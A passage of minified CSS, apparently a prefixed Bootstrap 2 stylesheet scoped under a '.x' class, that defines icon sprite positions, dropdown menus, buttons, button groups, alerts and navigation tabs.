-48px}.x .x_icon-tags{background-position:-25px -48px}.x .x_icon-book{background-position:-48px -48px}.x .x_icon-bookmark{background-position:-72px -48px}.x .x_icon-print{background-position:-96px -48px}.x .x_icon-camera{background-position:-120px -48px}.x .x_icon-font{background-position:-144px -48px}.x .x_icon-bold{background-position:-167px -48px}.x .x_icon-italic{background-position:-192px -48px}.x .x_icon-text-height{background-position:-216px -48px}.x .x_icon-text-width{background-position:-240px -48px}.x .x_icon-align-left{background-position:-264px -48px}.x .x_icon-align-center{background-position:-288px -48px}.x .x_icon-align-right{background-position:-312px -48px}.x .x_icon-align-justify{background-position:-336px -48px}.x .x_icon-list{background-position:-360px -48px}.x .x_icon-indent-left{background-position:-384px -48px}.x .x_icon-indent-right{background-position:-408px -48px}.x .x_icon-facetime-video{background-position:-432px -48px}.x .x_icon-picture{background-position:-456px -48px}.x .x_icon-pencil{background-position:0 -72px}.x .x_icon-map-marker{background-position:-24px -72px}.x .x_icon-adjust{background-position:-48px -72px}.x .x_icon-tint{background-position:-72px -72px}.x .x_icon-edit{background-position:-96px -72px}.x .x_icon-share{background-position:-120px -72px}.x .x_icon-check{background-position:-144px -72px}.x .x_icon-move{background-position:-168px -72px}.x .x_icon-step-backward{background-position:-192px -72px}.x .x_icon-fast-backward{background-position:-216px -72px}.x .x_icon-backward{background-position:-240px -72px}.x .x_icon-play{background-position:-264px -72px}.x .x_icon-pause{background-position:-288px -72px}.x .x_icon-stop{background-position:-312px -72px}.x .x_icon-forward{background-position:-336px -72px}.x .x_icon-fast-forward{background-position:-360px -72px}.x .x_icon-step-forward{background-position:-384px -72px}.x .x_icon-eject{background-position:-408px -72px}.x .x_icon-chevron-left{background-position:-432px -72px}.x .x_icon-chevron-right{background-position:-456px -72px}.x .x_icon-plus-sign{background-position:0 -96px}.x .x_icon-minus-sign{background-position:-24px -96px}.x .x_icon-remove-sign{background-position:-48px -96px}.x .x_icon-ok-sign{background-position:-72px -96px}.x .x_icon-question-sign{background-position:-96px -96px}.x .x_icon-info-sign{background-position:-120px -96px}.x .x_icon-screenshot{background-position:-144px -96px}.x .x_icon-remove-circle{background-position:-168px -96px}.x .x_icon-ok-circle{background-position:-192px -96px}.x .x_icon-ban-circle{background-position:-216px -96px}.x .x_icon-arrow-left{background-position:-240px -96px}.x .x_icon-arrow-right{background-position:-264px -96px}.x .x_icon-arrow-up{background-position:-289px -96px}.x .x_icon-arrow-down{background-position:-312px -96px}.x .x_icon-share-alt{background-position:-336px -96px}.x .x_icon-resize-full{background-position:-360px -96px}.x .x_icon-resize-small{background-position:-384px -96px}.x .x_icon-plus{background-position:-408px -96px}.x .x_icon-minus{background-position:-433px -96px}.x .x_icon-asterisk{background-position:-456px -96px}.x .x_icon-exclamation-sign{background-position:0 -120px}.x .x_icon-gift{background-position:-24px -120px}.x .x_icon-leaf{background-position:-48px -120px}.x .x_icon-fire{background-position:-72px -120px}.x .x_icon-eye-open{background-position:-96px -120px}.x .x_icon-eye-close{background-position:-120px -120px}.x .x_icon-warning-sign{background-position:-144px -120px}.x .x_icon-plane{background-position:-168px -120px}.x .x_icon-calendar{background-position:-192px -120px}.x .x_icon-random{width:16px;background-position:-216px -120px}.x .x_icon-comment{background-position:-240px -120px}.x .x_icon-magnet{background-position:-264px -120px}.x .x_icon-chevron-up{background-position:-288px -120px}.x .x_icon-chevron-down{background-position:-313px -119px}.x .x_icon-retweet{background-position:-336px -120px}.x .x_icon-shopping-cart{background-position:-360px -120px}.x .x_icon-folder-close{background-position:-384px -120px}.x .x_icon-folder-open{width:16px;background-position:-408px -120px}.x .x_icon-resize-vertical{background-position:-432px -119px}.x .x_icon-resize-horizontal{background-position:-456px -118px}.x .x_icon-hdd{background-position:0 -144px}.x .x_icon-bullhorn{background-position:-24px -144px}.x .x_icon-bell{background-position:-48px -144px}.x .x_icon-certificate{background-position:-72px -144px}.x .x_icon-thumbs-up{background-position:-96px -144px}.x .x_icon-thumbs-down{background-position:-120px -144px}.x .x_icon-hand-right{background-position:-144px -144px}.x .x_icon-hand-left{background-position:-168px -144px}.x .x_icon-hand-up{background-position:-192px -144px}.x .x_icon-hand-down{background-position:-216px -144px}.x .x_icon-circle-arrow-right{background-position:-240px -144px}.x .x_icon-circle-arrow-left{background-position:-264px -144px}.x .x_icon-circle-arrow-up{background-position:-288px -144px}.x .x_icon-circle-arrow-down{background-position:-312px -144px}.x .x_icon-globe{background-position:-336px -144px}.x .x_icon-wrench{background-position:-360px -144px}.x .x_icon-tasks{background-position:-384px -144px}.x .x_icon-filter{background-position:-408px -144px}.x .x_icon-briefcase{background-position:-432px -144px}.x .x_icon-fullscreen{background-position:-456px -144px}.x .x_dropup,.x .x_dropdown{position:relative}.x .x_dropdown-toggle{*margin-bottom:-3px;}.x .x_dropdown-toggle:active,.x .x_open .x_dropdown-toggle{outline:0}.x .x_caret{display:inline-block;width:0;height:0;vertical-align:top;border-top:4px solid #000;border-right:4px solid transparent;border-left:4px solid transparent;content:""}.x .x_dropdown .x_caret{margin-top:8px;margin-left:2px}.x .x_dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.x .x_dropdown-menu.x_pull-right{right:0;left:auto}.x .x_dropdown-menu .x_divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.x .x_dropdown-menu li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:20px;color:#333;white-space:nowrap}.x .x_dropdown-menu li>a:hover,.x .x_dropdown-menu li>a:focus,.x .x_dropdown-submenu:hover>a{color:#fff;text-decoration:none;background-color:#0081c2;background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to bottom,#08c,#0077b3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc',endColorstr='#0077b3',GradientType=0)}.x .x_dropdown-menu .x_active>a,.x .x_dropdown-menu .x_active>a:hover{color:#fff;text-decoration:none;background-color:#0081c2;background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to bottom,#08c,#0077b3);background-repeat:repeat-x;outline:0;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc',endColorstr='#0077b3',GradientType=0)}.x .x_dropdown-menu .x_disabled>a,.x .x_dropdown-menu .x_disabled>a:hover{color:#999}.x .x_dropdown-menu .x_disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_open{*z-index:1000;}.x .x_open>.x_dropdown-menu{display:block}.x .x_pull-right>.x_dropdown-menu{right:0;left:auto}.x .x_dropup .x_caret,.x .x_navbar-fixed-bottom .x_dropdown .x_caret{border-top:0;border-bottom:4px solid #000;content:""}.x .x_dropup .x_dropdown-menu,.x .x_navbar-fixed-bottom .x_dropdown .x_dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}.x_dropdown-submenu{position:relative}.x .x_dropdown-submenu>.x_dropdown-menu{top:0;left:100%;margin-top:-6px;margin-left:-1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px}.x .x_dropdown-submenu:hover>.x_dropdown-menu{display:block}.x .x_dropup .x_dropdown-submenu>.x_dropdown-menu{top:auto;bottom:0;margin-top:0;margin-bottom:-2px;-webkit-border-radius:5px 5px 5px 0;-moz-border-radius:5px 5px 5px 0;border-radius:5px 5px 5px 0}.x .x_dropdown-submenu>a:after{display:block;float:right;width:0;height:0;margin-top:5px;margin-right:-10px;border-color:transparent;border-left-color:#ccc;border-style:solid;border-width:5px 0 5px 5px;content:" "}.x .x_dropdown-submenu:hover>a:after{border-left-color:#fff}.x .x_dropdown-submenu.x_pull-left{float:none}.x .x_dropdown-submenu.x_pull-left>.x_dropdown-menu{left:-100%;margin-left:10px;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px}.x .x_dropdown .x_dropdown-menu .x_nav-header{padding-right:20px;padding-left:20px}.x .x_typeahead{z-index:1051;margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.x .x_well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.x .x_well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x .x_fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.x .x_fade.x_in{opacity:1}.x .x_collapse{position:relative;height:0;overflow:hidden;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.x .x_collapse.x_in{height:auto}.x .x_close{float:right;font-size:20px;font-weight:bold;line-height:20px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.x .x_close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.x button.x_close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.x .x_btn{display:inline-block;*display:inline;padding:4px 12px;margin-bottom:0;*margin-left:.3em;font-size:14px;line-height:20px;color:#333;text-align:center;text-shadow:0 1px 1px rgba(255,255,255,.75);vertical-align:middle;cursor:pointer;background-color:#f5f5f5;*background-color:#e6e6e6;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(to bottom,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #bbb;*border:0;border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);border-bottom-color:#a2a2a2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);*zoom:1;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05)}.x .x_btn:hover,.x .x_btn:active,.x .x_btn.x_active,.x .x_btn.x_disabled,.x .x_btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9;}.x .x_btn:active,.x .x_btn.x_active{background-color:#ccc \9}.x .x_btn:first-child{*margin-left:0;}.x .x_btn:hover{color:#333;text-decoration:none;background-position:0 -15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.x .x_btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.x .x_btn.x_active,.x .x_btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.x .x_btn.x_disabled,.x .x_btn[disabled]{cursor:default;background-image:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.x .x_btn-large{padding:11px 19px;font-size:17.5px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_btn-large [class^="x_icon-"],.x .x_btn-large [class*=" x_icon-"]{margin-top:4px}.x .x_btn-small{padding:2px 10px;font-size:11.9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x .x_btn-small [class^="x_icon-"],.x .x_btn-small [class*=" x_icon-"]{margin-top:0}.x .x_btn-mini [class^="x_icon-"],.x .x_btn-mini [class*=" x_icon-"]{margin-top:-1px}.x .x_btn-mini{padding:0 6px;font-size:10.5px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x .x_btn-block{display:block;width:100%;padding-right:0;padding-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.x .x_btn-block+.x_btn-block{margin-top:5px}.x input[type="submit"].x_btn-block,.x input[type="reset"].x_btn-block,.x input[type="button"].x_btn-block{width:100%}.x .x_btn-primary.x_active,.x .x_btn-warning.x_active,.x .x_btn-danger.x_active,.x .x_btn-success.x_active,.x .x_btn-info.x_active,.x .x_btn-inverse.x_active{color:rgba(255,255,255,.75)}.x .x_btn{border-color:#c5c5c5;border-color:rgba(0,0,0,.15) rgba(0,0,0,.15) rgba(0,0,0,.25)}.x .x_btn-primary{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#006dcc;*background-color:#04c;background-image:-moz-linear-gradient(top,#08c,#04c);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#04c));background-image:-webkit-linear-gradient(top,#08c,#04c);background-image:-o-linear-gradient(top,#08c,#04c);background-image:linear-gradient(to bottom,#08c,#04c);background-repeat:repeat-x;border-color:#04c #04c #002a80;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc',endColorstr='#0044cc',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-primary:hover,.x .x_btn-primary:active,.x .x_btn-primary.x_active,.x .x_btn-primary.x_disabled,.x .x_btn-primary[disabled]{color:#fff;background-color:#04c;*background-color:#003bb3;}.x .x_btn-primary:active,.x .x_btn-primary.x_active{background-color:#039 \9}.x .x_btn-warning{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#faa732;*background-color:#f89406;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to bottom,#fbb450,#f89406);background-repeat:repeat-x;border-color:#f89406 #f89406 #ad6704;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-warning:hover,.x .x_btn-warning:active,.x .x_btn-warning.x_active,.x .x_btn-warning.x_disabled,.x .x_btn-warning[disabled]{color:#fff;background-color:#f89406;*background-color:#df8505;}.x .x_btn-warning:active,.x .x_btn-warning.x_active{background-color:#c67605 \9}.x .x_btn-danger{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#da4f49;*background-color:#bd362f;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(to bottom,#ee5f5b,#bd362f);background-repeat:repeat-x;border-color:#bd362f #bd362f #802420;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-danger:hover,.x .x_btn-danger:active,.x .x_btn-danger.x_active,.x .x_btn-danger.x_disabled,.x .x_btn-danger[disabled]{color:#fff;background-color:#bd362f;*background-color:#a9302a;}.x .x_btn-danger:active,.x .x_btn-danger.x_active{background-color:#942a25 \9}.x .x_btn-success{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#5bb75b;*background-color:#51a351;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(to bottom,#62c462,#51a351);background-repeat:repeat-x;border-color:#51a351 #51a351 #387038;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-success:hover,.x .x_btn-success:active,.x .x_btn-success.x_active,.x .x_btn-success.x_disabled,.x .x_btn-success[disabled]{color:#fff;background-color:#51a351;*background-color:#499249;}.x .x_btn-success:active,.x .x_btn-success.x_active{background-color:#408140 \9}.x .x_btn-info{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#49afcd;*background-color:#2f96b4;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(to bottom,#5bc0de,#2f96b4);background-repeat:repeat-x;border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-info:hover,.x .x_btn-info:active,.x .x_btn-info.x_active,.x .x_btn-info.x_disabled,.x .x_btn-info[disabled]{color:#fff;background-color:#2f96b4;*background-color:#2a85a0;}.x .x_btn-info:active,.x .x_btn-info.x_active{background-color:#24748c \9}.x .x_btn-inverse{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#363636;*background-color:#222;background-image:-moz-linear-gradient(top,#444,#222);background-image:-webkit-gradient(linear,0 0,0 100%,from(#444),to(#222));background-image:-webkit-linear-gradient(top,#444,#222);background-image:-o-linear-gradient(top,#444,#222);background-image:linear-gradient(to bottom,#444,#222);background-repeat:repeat-x;border-color:#222 #222 #000;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#444444',endColorstr='#222222',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-inverse:hover,.x .x_btn-inverse:active,.x .x_btn-inverse.x_active,.x .x_btn-inverse.x_disabled,.x .x_btn-inverse[disabled]{color:#fff;background-color:#222;*background-color:#151515;}.x .x_btn-inverse:active,.x .x_btn-inverse.x_active{background-color:#080808 \9}.x button.x_btn,.x input[type="submit"].x_btn{*padding-top:3px;*padding-bottom:3px;}.x button.x_btn::-moz-focus-inner,.x input[type="submit"].x_btn::-moz-focus-inner{padding:0;border:0}.x button.x_btn.x_btn-large,.x input[type="submit"].x_btn.x_btn-large{*padding-top:7px;*padding-bottom:7px;}.x button.x_btn.x_btn-small,.x input[type="submit"].x_btn.x_btn-small{*padding-top:3px;*padding-bottom:3px;}.x button.x_btn.x_btn-mini,.x input[type="submit"].x_btn.x_btn-mini{*padding-top:1px;*padding-bottom:1px;}.x .x_btn-link,.x .x_btn-link:active,.x .x_btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.x .x_btn-link{color:#08c;cursor:pointer;border-color:transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_btn-link:hover{color:#005580;text-decoration:underline;background-color:transparent}.x .x_btn-link[disabled]:hover{color:#333;text-decoration:none}.x .x_btn-group{position:relative;display:inline-block;*display:inline;*margin-left:.3em;font-size:0;white-space:nowrap;vertical-align:middle;*zoom:1;}.x .x_btn-group:first-child{*margin-left:0;}.x .x_btn-group+.x_btn-group{margin-left:5px}.x .x_btn-toolbar{margin-top:10px;margin-bottom:10px;font-size:0}.x .x_btn-toolbar>.x_btn+.x_btn,.x .x_btn-toolbar>.x_btn-group+.x_btn,.x .x_btn-toolbar>.x_btn+.x_btn-group{margin-left:5px}.x .x_btn-group>.x_btn{position:relative;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_btn-group>.x_btn+.x_btn{margin-left:-1px}.x .x_btn-group>.x_btn,.x .x_btn-group>.x_dropdown-menu,.x .x_btn-group>.x_popover{font-size:14px}.x .x_btn-group>.x_btn-mini{font-size:10.5px}.x .x_btn-group>.x_btn-small{font-size:11.9px}.x .x_btn-group>.x_btn-large{font-size:17.5px}.x .x_btn-group>.x_btn:first-child{margin-left:0;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px}.x .x_btn-group>.x_btn:last-child,.x .x_btn-group>.x_dropdown-toggle{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px}.x .x_btn-group>.x_btn.x_large:first-child{margin-left:0;-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px}.x .x_btn-group>.x_btn.x_large:last-child,.x .x_btn-group>.x_large.x_dropdown-toggle{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px}.x .x_btn-group>.x_btn:hover,.x .x_btn-group>.x_btn:focus,.x .x_btn-group>.x_btn:active,.x .x_btn-group>.x_btn.x_active{z-index:2}.x .x_btn-group .x_dropdown-toggle:active,.x .x_btn-group.x_open .x_dropdown-toggle{outline:0}.x .x_btn-group>.x_btn+.x_dropdown-toggle{*padding-top:5px;padding-right:8px;*padding-bottom:5px;padding-left:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05)}.x .x_btn-group>.x_btn-mini+.x_dropdown-toggle{*padding-top:2px;padding-right:5px;*padding-bottom:2px;padding-left:5px}.x .x_btn-group>.x_btn-small+.x_dropdown-toggle{*padding-top:5px;*padding-bottom:4px;}.x .x_btn-group>.x_btn-large+.x_dropdown-toggle{*padding-top:7px;padding-right:12px;*padding-bottom:7px;padding-left:12px}.x .x_btn-group.x_open .x_dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.x .x_btn-group.x_open .x_btn.x_dropdown-toggle{background-color:#e6e6e6}.x .x_btn-group.x_open .x_btn-primary.x_dropdown-toggle{background-color:#04c}.x .x_btn-group.x_open .x_btn-warning.x_dropdown-toggle{background-color:#f89406}.x .x_btn-group.x_open .x_btn-danger.x_dropdown-toggle{background-color:#bd362f}.x .x_btn-group.x_open .x_btn-success.x_dropdown-toggle{background-color:#51a351}.x .x_btn-group.x_open .x_btn-info.x_dropdown-toggle{background-color:#2f96b4}.x .x_btn-group.x_open .x_btn-inverse.x_dropdown-toggle{background-color:#222}.x .x_btn .x_caret{margin-top:8px;margin-left:0}.x .x_btn-mini .x_caret,.x .x_btn-small .x_caret,.x .x_btn-large .x_caret{margin-top:6px}.x .x_btn-large .x_caret{border-top-width:5px;border-right-width:5px;border-left-width:5px}.x .x_dropup .x_btn-large .x_caret{border-bottom-width:5px}.x .x_btn-primary .x_caret,.x .x_btn-warning .x_caret,.x .x_btn-danger .x_caret,.x .x_btn-info .x_caret,.x .x_btn-success .x_caret,.x .x_btn-inverse .x_caret{border-top-color:#fff;border-bottom-color:#fff}.x .x_btn-group-vertical{display:inline-block;*display:inline;*zoom:1;}.x .x_btn-group-vertical>.x_btn{display:block;float:none;max-width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_btn-group-vertical>.x_btn+.x_btn{margin-top:-1px;margin-left:0}.x .x_btn-group-vertical>.x_btn:first-child{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.x .x_btn-group-vertical>.x_btn:last-child{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.x .x_btn-group-vertical>.x_btn-large:first-child{-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0}.x .x_btn-group-vertical>.x_btn-large:last-child{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.x .x_alert{padding:8px 35px 8px 14px;margin-bottom:20px;text-shadow:0 1px 0 rgba(255,255,255,.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_alert,.x .x_alert h4{color:#c09853}.x .x_alert h4{margin:0}.x .x_alert .x_close{position:relative;top:-2px;right:-21px;line-height:20px}.x .x_alert-success{color:#468847;background-color:#dff0d8;border-color:#d6e9c6}.x .x_alert-success h4{color:#468847}.x .x_alert-danger,.x .x_alert-error{color:#b94a48;background-color:#f2dede;border-color:#eed3d7}.x .x_alert-danger h4,.x .x_alert-error h4{color:#b94a48}.x .x_alert-info{color:#3a87ad;background-color:#d9edf7;border-color:#bce8f1}.x .x_alert-info h4{color:#3a87ad}.x .x_alert-block{padding-top:14px;padding-bottom:14px}.x .x_alert-block>p,.x .x_alert-block>ul{margin-bottom:0}.x .x_alert-block p+p{margin-top:5px}.x .x_nav{margin-bottom:20px;margin-left:0;list-style:none}.x .x_nav>li>a{display:block}.x .x_nav>li>a:hover{text-decoration:none;background-color:#eee}.x .x_nav>li>a>img{max-width:none}.x .x_nav>.x_pull-right{float:right}.x .x_nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:20px;color:#999;text-shadow:0 1px 0 rgba(255,255,255,.5);text-transform:uppercase}.x .x_nav li+.x_nav-header{margin-top:9px}.x .x_nav-list{padding-right:15px;padding-left:15px;margin-bottom:0}.x .x_nav-list>li>a,.x .x_nav-list .x_nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255,255,255,.5)}.x .x_nav-list>li>a{padding:3px 15px}.x .x_nav-list>.x_active>a,.x .x_nav-list>.x_active>a:hover{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.2);background-color:#08c}.x .x_nav-list [class^="x_icon-"],.x .x_nav-list [class*=" x_icon-"]{margin-right:2px}.x .x_nav-list .x_divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.x .x_nav-tabs,.x .x_nav-pills{*zoom:1;}.x .x_nav-tabs:before,.x .x_nav-pills:before,.x .x_nav-tabs:after,.x .x_nav-pills:after{display:table;line-height:0;content:""}.x .x_nav-tabs:after,.x .x_nav-pills:after{clear:both}.x .x_nav-tabs>li,.x .x_nav-pills>li{float:left}.x .x_nav-tabs>li>a,.x .x_nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px}.x .x_nav-tabs{border-bottom:1px solid #ddd}.x .x_nav-tabs>li{margin-bottom:-1px}.x .x_nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:20px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.x .x_nav-tabs>li>a:hover{border-color:#eee #eee 